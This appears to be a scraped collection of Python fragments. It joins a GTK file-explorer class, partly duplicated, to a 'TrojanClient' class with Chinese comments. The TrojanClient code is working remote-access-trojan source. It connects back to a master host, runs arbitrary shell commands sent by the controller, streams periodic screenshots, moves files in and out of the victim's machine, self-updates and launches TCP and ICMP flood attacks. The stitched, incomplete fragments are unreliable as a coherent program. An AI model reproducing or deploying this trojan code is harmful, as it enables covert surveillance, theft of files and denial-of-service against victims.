def __init__(self, showHiddens=True): """ @summary: Create an explorer. @param showHiddens: True if you show hidden files. Default True """ # Initialize the stack of directories self.__stackDirs__ = [] self.__currPointStack__ = -1 self.__maxStackSize__ = self.MAX_STACK __log__.debug("Set size of history stack %d" % self.__maxStackSize__) self.__showHiddens__ = showHiddens __log__.debug("Show hiddens: %s" % showHiddens) __log__.debug("Setting controls of explorer...") # Generates TreeViews self.__tvExplorer__ = TreeExplorer(selectCallback=self.__selectDirectoryOnTreeNav__, showHiddens=self.__showHiddens__) __log__.debug("Created TreeExplorer. %s" % self.__tvExplorer__) self.__fileExplorer__ = FileExplorer(showHiddens=self.__showHiddens__) self.__fileExplorer__.setEnterDirectoryCallback(self.__enterDirectory__) self.__fileExplorer__.setBeginLoadCallback(self.__loading__) self.__fileExplorer__.setEndLoadCallback(self.__loaded__) __log__.debug("Created FileExplorer. %s" % self.__fileExplorer__) self.__initUI__()
def __init__(self, udpPort=8082): # configs self.udpPort = udpPort self.udpRecvPort = udpPort + 1 self.masterIP = master_ip self.masterUdpPort = config.getint('client', 'masterUdpPort') self.masterTcpPort = config.getint('client', 'masterTcpPort') self.ownip = get_host_ip() print(self.ownip) self.cwd = os.getcwd() self.fileExplorer = FileExplorer() self.p = None self.enableRun = True self.realCmdQ = Queue() self.commandThread = Thread(target=self.cmdRecv) self.commandThread.daemon = True self.commandThread.start() self.udpSocket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) self.udpSocket.bind((self.ownip, self.udpPort)) self.udpRecvSocket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) self.udpRecvSocket.bind((self.ownip, self.udpRecvPort)) self.tcpSocket = None self.udpQ = Queue() self.udpS = Thread(target=self.udpSend, daemon=True) self.udpR = Thread(target=self.udpRecv, daemon=True) self.udpS.start() self.udpR.start() self.tcpSQ = Queue() self.tcpS = Thread(target=self.RealtcpSend, daemon=True) self.tcpS.start() self.enablePic = True self.picTime = 5 # 每张截图时间间隔为 picTime * 0.05 self.picThread = None self.width = 672 self.attacker = Attacker()
class Explorer: """ @summary: This class is an file system explorer like Nautilus """ # Widgets __tvExplorer__ = None __fileExplorer__ = None __bBack__ = None __bForward__ = None __bUp__ = None __bHome__ = None # Separator for splitting drag&drop selection SEP = "\n" # ID of data for drag&drop TARGET_TEXT = 80 MAX_STACK = 50 def __init__(self, showHiddens=True): """ @summary: Create an explorer. @param showHiddens: True if you show hidden files. Default True """ # Initialize the stack of directories self.__stackDirs__ = [] self.__currPointStack__ = -1 self.__maxStackSize__ = self.MAX_STACK __log__.debug("Set size of history stack %d" % self.__maxStackSize__) self.__showHiddens__ = showHiddens __log__.debug("Show hiddens: %s" % showHiddens) __log__.debug("Setting controls of explorer...") # Generates TreeViews self.__tvExplorer__ = TreeExplorer(selectCallback=self.__selectDirectoryOnTreeNav__, showHiddens=self.__showHiddens__) __log__.debug("Created TreeExplorer. %s" % self.__tvExplorer__) self.__fileExplorer__ = FileExplorer(showHiddens=self.__showHiddens__) self.__fileExplorer__.setEnterDirectoryCallback(self.__enterDirectory__) self.__fileExplorer__.setBeginLoadCallback(self.__loading__) self.__fileExplorer__.setEndLoadCallback(self.__loaded__) __log__.debug("Created FileExplorer. %s" % self.__fileExplorer__) self.__initUI__() def __initUI__(self): """ @summary: Initialize UI of explorer. """ self.__uiManager__ = None self.__exportControl__ = gtk.VBox() self.__initToolbar__() if (hasattr(self, "__toolBar__")): self.__exportControl__.pack_start(self.__toolBar__, False) lTreeExplorer = gtk.Label(_("<b><u>Tree</u></b>")) lTreeExplorer.set_use_markup(True) vBoxTree = gtk.VBox() vBoxTree.pack_start(lTreeExplorer, False) vBoxTree.pack_start(self.__tvExplorer__.getControl(), True, True) hPaned = gtk.HPaned() hPaned.add1(vBoxTree) hPaned.add2(self.__fileExplorer__.getControl()) hPaned.set_position(250) # Navigator frame. self.__imgLoad__ = gtk.Image() self.__pathIcon__ = os.path.join(__ICONS_FOLDER__, "loading.gif") lNav = gtk.Label(_("<b>Navigator</b>")) lNav.set_use_markup(True) hBoxNav = gtk.HBox() hBoxNav.pack_start(self.__imgLoad__, False) hBoxNav.pack_start(lNav, True) fNavFrame = gtk.Frame() fNavFrame.set_shadow_type(gtk.SHADOW_ETCHED_IN) fNavFrame.set_label_widget(hBoxNav) fNavFrame.add(hPaned) self.__exportControl__.pack_start(fNavFrame, True, True) def __initToolbar__(self): """ @summary: Initialize UI of toolbar. """ actionGroupExplorer = gtk.ActionGroup("ActionGroupExplorer") # Create actions actionGroupExplorer.add_actions([("BackExplorerAction", gtk.STOCK_GO_BACK, _("_Back"), None, _("Go back in history"), self.__goBackEvent__), ("ForwardExplorerAction", gtk.STOCK_GO_FORWARD, _("_Forward"), None, _("Go forward in history"), self.__goForwardEvent__), ("UpExplorerAction", gtk.STOCK_GO_UP, _("Up"), None, _("Go up level in explorer"), self.__goUpLevelEvent__), ("HomeExplorerAction", gtk.STOCK_HOME, _("_Home"), None, _("Go Home"), self.__goHomeEvent__)]) actionGroupExplorer.set_translation_domain(pycamimg.gettextName) __log__.debug("There is a xml path. UI Menus and tools will be recovered from path %s" % __XMLUI_FOLDER__) self.__uiManager__ = FactoryControls.getUIManager(os.path.join(__XMLUI_FOLDER__, "Explorer.xml"), None, actionGroupExplorer)[0] self.__toolBar__ = self.__uiManager__.get_widget("/ToolsExplorer") self.__toolBar__.set_style(gtk.TOOLBAR_BOTH_HORIZ) self.__toolBar__.set_tooltips(True) self.__bBack__ = self.__uiManager__.get_widget("/ToolsExplorer/Back") self.__bBack__.set_is_important(True) self.__bForward__ = self.__uiManager__.get_widget("/ToolsExplorer/Forward") self.__bUp__ = self.__uiManager__.get_widget("/ToolsExplorer/Up") self.__bHome__ = self.__uiManager__.get_widget("/ToolsExplorer/Home") def __addDirToStack__(self, dir): """ @summary: Adds a directory in stack @param dir: Path to add to history stack. """ insert = True if (self.__currPointStack__ > -1): last = self.__stackDirs__.pop(self.__currPointStack__) if (last != dir): self.__stackDirs__.insert(self.__currPointStack__, last) else: self.__currPointStack__ -= 1 initial = self.__currPointStack__ + 1 while (initial < len(self.__stackDirs__)): self.__stackDirs__.pop(len(self.__stackDirs__) - 1) self.__currPointStack__ += 1 self.__stackDirs__.insert(self.__currPointStack__, dir) while (len(self.__stackDirs__) > self.__maxStackSize__): self.__stackDirs__.pop(0) self.__currPointStack__ -= 1 if (self.__currPointStack__ < -1): self.__currPointStack__ = -1 self.enabledNavigationButtons() def __printDirectory__ (self, path): """ @summary: Print a directory path. @param path: Path to print into explorer. """ self.__fileExplorer__.applyPath(path) self.__tvExplorer__.applyPathOnNav(path, True) __log__.debug("%s path set" % path) def __printCurrDirectory__(self): """ @summary: Prints the current directory. """ self.__printDirectory__(self.getCurrentDirectory()) def __goHomeEvent__(self, b): """ @summary: Goes to home directory. @param b: GtkButton thats generates event. """ self.goHome() def __goBackEvent__(self, b): """ @summary: Goes one step back into history. @param b: GtkButton thats generates event. """ self.back() def __goForwardEvent__(self, b): """ @summary: Goes one step forward into history. @param b: GtkButton thats generates event. """ self.forward() def __goUpLevelEvent__(self, b): """ @summary: Goes up level from the current directory. @param b: GtkButton thats generates event. """ self.upLevel() # TREEVIEW EVENTS def __selectDirectoryOnTreeNav__(self, path): """ @summary: Runs when directory is selected on navigator. @param path: Path that it was selected. """ self.__fileExplorer__.applyPath(path) # FILE EXPLORER EVENTS def __enterDirectory__ (self, path): """ @summary: Handle enter in directory. @param path: Path that it was selected. """ if (os.path.isdir(path)): self.__addDirToStack__(path) self.__tvExplorer__.applyPathOnNav(path, True) else: __log__.warning("It could not recover file path.") def __loading__(self): """ @summary: Update ui when explorer is loading. """ UIUtils.setAnimation(self.__imgLoad__, self.__pathIcon__) def __loaded__(self): """ @summary: Update ui when explorer is loaded. """ UIUtils.clearImage(self.__imgLoad__) #####PUBLIC METHODS####### def getControl(self): """ @summary: Gets control to add into a container. @return: GtkVBox. """ return self.__exportControl__ def getCurrentDirectory(self): """ @summary: Gets current directory. @return: string with current directory path. No if there is not current path """ if ((self.__currPointStack__ <= -1) or (self.__currPointStack__ >= len(self.__stackDirs__))): return None return self.__stackDirs__[self.__currPointStack__] def getSelectedFiles(self): """ @summary: Gets selected files from file explorer. @return: An array with all selected files. """ return self.__fileExplorer__.getSelectedFiles() def enabledNavigationButtons(self, glock=False): """ @summary: Enabled or disabled navigation buttons. @param glock: True if gtk loop must be locked. """ UIUtils.enabledWidget(self.__bBack__, self.__currPointStack__ > 0, glock) UIUtils.enabledWidget(self.__bForward__, self.__currPointStack__ < (len(self.__stackDirs__) - 1), glock) def refresh(self): """ @summary: prints again current directory. """ self.__printCurrDirectory__() def goHome(self): """ @summary: Goes to home directory. """ self.go(os.path.expanduser("~")) def go (self, path): """ @summary: Goes to a directory. @param path: Path that it will be selected. """ dir = None if (not os.path.isdir(path)): __log__.debug("% is not a directory. Go to parent directory." % path) dir, file = os.path.split(path) __log__.debug("% is not a directory. Go to parent directory [%s]." % (path, dir)) else: dir = path if (dir != None): self.__addDirToStack__(dir) self.__printDirectory__(dir) def back (self): """ @summary: Goes one step back into history. """ if (self.__currPointStack__ > 0): self.__currPointStack__ -= 1 self.enabledNavigationButtons() self.__printCurrDirectory__() def forward (self): """ @summary: Goes one step forward into history. """ if (self.__currPointStack__ < (len(self.__stackDirs__) - 1)): self.__currPointStack__ += 1 self.enabledNavigationButtons() self.__printCurrDirectory__() def upLevel (self): """ @summary: Goes up level from the current directory. """ path = self.getCurrentDirectory() if (path != None): sPath, dir = os.path.split(path) if (path != sPath): self.__addDirToStack__(sPath) self.__printDirectory__(sPath) else: __log__.warning("There is not current path. It is not possible determinte which is the parent directory.")
class TrojanClient: def __init__(self, udpPort=8082): # configs self.udpPort = udpPort self.udpRecvPort = udpPort + 1 self.masterIP = master_ip self.masterUdpPort = config.getint('client', 'masterUdpPort') self.masterTcpPort = config.getint('client', 'masterTcpPort') self.ownip = get_host_ip() print(self.ownip) self.cwd = os.getcwd() self.fileExplorer = FileExplorer() self.p = None self.enableRun = True self.realCmdQ = Queue() self.commandThread = Thread(target=self.cmdRecv) self.commandThread.daemon = True self.commandThread.start() self.udpSocket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) self.udpSocket.bind((self.ownip, self.udpPort)) self.udpRecvSocket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) self.udpRecvSocket.bind((self.ownip, self.udpRecvPort)) self.tcpSocket = None self.udpQ = Queue() self.udpS = Thread(target=self.udpSend, daemon=True) self.udpR = Thread(target=self.udpRecv, daemon=True) self.udpS.start() self.udpR.start() self.tcpSQ = Queue() self.tcpS = Thread(target=self.RealtcpSend, daemon=True) self.tcpS.start() self.enablePic = True self.picTime = 5 # 每张截图时间间隔为 picTime * 0.05 self.picThread = None self.width = 672 self.attacker = Attacker() def cmdRecv(self): while True: cmd = self.realCmdQ.get() lang = judgelang() if lang == "Linux": cmd = cmd.encode("UTF-8") try: thread = Thread(target=self.run_command, args=(cmd, lang)) thread.start() except: self.tcpSend("response", "Command Error") def tcpPieceSend(self, data, socket, size=1024): dsize = 0 data_len = len(data) while dsize + size <= data_len: socket.send(data[dsize: dsize + size]) dsize += size if dsize < data_len: socket.send(data[dsize:]) def RealtcpSend(self): while True: print("正在获取tcp发送包") q = self.tcpSQ.get() cmd = q['cmd'] data = q['data'] print("已取得, 正在发送:", cmd) if not self.tcpSocket: return try: self.tcpSocket.send(struct.pack('i', len(cmd.encode("utf8")))) self.tcpSocket.send(cmd.encode("utf8")) if cmd == "pic": imd = data.tobytes() img_len = len(imd) self.tcpSocket.send(struct.pack('iii', *data.size, img_len)) self.tcpPieceSend(imd, self.tcpSocket, 1024) elif cmd == "response": self.tcpSocket.send(struct.pack('i', len(data.encode("utf8")))) self.tcpSocket.send(data.encode("utf8")) elif cmd == "filelist": self.tcpSocket.send(struct.pack('i', len(data))) self.tcpPieceSend(data, self.tcpSocket, 1024) elif cmd == "file": length = os.path.getsize(data) self.tcpSocket.send(struct.pack('i', length)) with open(data, 'rb') as file: while True: d = file.read(1024) if not d: break self.tcpPieceSend(d, self.tcpSocket, 1024) except: print("控制端断开") def tcpSend(self, cmd, data=None): self.tcpSQ.put({ 'cmd': cmd, 'data': data }) def tcpPieceRecv(self, length, socket, size=1024): dsize = 0 body = b'' while dsize + size < length: piece = socket.recv(size) body += piece dsize += len(piece) body += socket.recv(length - dsize) return body def saveFiles(self, socket, file_name, size): try: data = self.tcpPieceRecv(size, socket, 1024) with open(file_name, 'wb') as file: file.write(data) self.tcpSend("response", "传输完成") except Exception as e: self.tcpSend("response", str(e)) self.tcpSend("response", "文件上传失败") def udpSend(self): print("UDP 发送器已启动") while True: udpPacket = self.udpQ.get() print("发送UDP数据包: %s" % udpPacket.content.decode('utf8')) if udpPacket.type == 'send': self.udpSocket.sendto(udpPacket.content, (self.masterIP, self.masterUdpPort)) elif udpPacket.type == 'close': print("UDP 发送器已停止") break def udpRecv(self): print("udp 接收器已启动") while True: data, addr = self.udpRecvSocket.recvfrom(1024) print("Received from %s:%d --> %s" % (addr, self.udpPort, data.decode('utf8'))) allcmd = data.decode('utf8').split(' ') cmd = allcmd[0] if cmd == 'find': udpPacket = UdpPacket() udpPacket.type = 'send' udpPacket.content = 'find'.encode('utf8') self.udpQ.put(udpPacket) elif cmd == 'connect': self.tcpSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: self.tcpSocket.connect((self.masterIP, self.masterTcpPort)) except: self.tcpSocket.close() self.tcpSocket = None elif cmd == 'disconnect': if self.tcpSocket: self.tcpSocket.close() self.tcpSocket = None elif cmd == 'tcpFlood': # dst_ip port start end self.attacker.enableStop = False self.attacker.allFlood(*allcmd[1:]) elif cmd == 'icmpFlood': self.attacker.enableStop = False self.attacker.icmpAttack(allcmd[1]) elif cmd == 'floodStop': self.attacker.enableStop = True elif cmd == 'pic': self.enablePic = True self.sendPic(disposable=True) elif cmd == 'picstart': self.enablePic = True if not self.picThread: self.picThread = Thread(target=self.sendPic, daemon=True) self.picThread.start() elif cmd == "picstop": self.enablePic = False self.picThread = None elif cmd == "set": if allcmd[1] == "pictime": self.picTime = int(allcmd[2]) elif allcmd[1] == "picwidth": self.width = int(allcmd[2]) elif cmd == 'upload': filename = allcmd[1] size = int(allcmd[2]) print(filename) self.saveFiles(self.tcpSocket, filename, size) elif cmd == 'getFile': filename = allcmd[1] full = os.path.join(os.getcwd(), filename) self.tcpSend("file", full) elif cmd == "update": try: if self.tcpSocket: self.tcpSocket.close() if self.udpSocket: self.udpSocket.close() if self.udpRecvSocket: self.udpRecvSocket.close() except Exception as e: print(e) update(allcmd[1]) elif cmd == 'dos': if allcmd[1] == 'restart': restart_program() return if allcmd[1] == 'terminate': self.enableRun = False continue elif allcmd[1] == 'cd': try: os.chdir(allcmd[2]) except: print("权限不足") self.cwd = os.getcwd() self.enableRun = True self.realCmdQ.put('echo %s' % self.cwd) self.transportList() else: self.enableRun = True self.realCmdQ.put(' '.join(allcmd[1:])) elif cmd == "ls": self.transportList() def transportList(self): self.fileExplorer.getList() data = json.dumps({'list': self.fileExplorer.list, 'pwd': os.getcwd()}) self.tcpSend(cmd="filelist", data=data.encode('utf8')) def sendPic(self, disposable=False): while self.enablePic: print("...", end='') im = ImageGrab.grab() im = im.resize((self.width, int(im.size[1] * self.width / im.size[0])), Image.ANTIALIAS) self.tcpSend(cmd='pic', data=im) time.sleep(self.picTime * 0.05) if disposable: break def searchMaster(self): udpPacket = UdpPacket() udpPacket.type = 'send' udpPacket.content = 'find'.encode('utf8') self.udpQ.put(udpPacket) def run_command(self, command, lang): command = command.rstrip() print("the command is", command) try: if not self.enableRun: if self.p: self.p.terminate() return self.p = subprocess.Popen(command, bufsize=48, shell=True, close_fds=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=self.cwd) # poll()判断是否执行完毕,执行完毕返回0,未执行完毕返回None while self.p.poll() is None and self.enableRun: line = self.p.stdout.readline() line = line.strip() if line: # 将输出的结果实时打印,并且转换编码格式 # print('Subprogram output: [{}]'.format(line.decode(lang))) self.tcpSend("response", line.decode(lang)) # if self.p.returncode == 0: # print('Subprogram success') # else: # print('Subprogram failed') except Exception as e: self.tcpSend("response", str(e))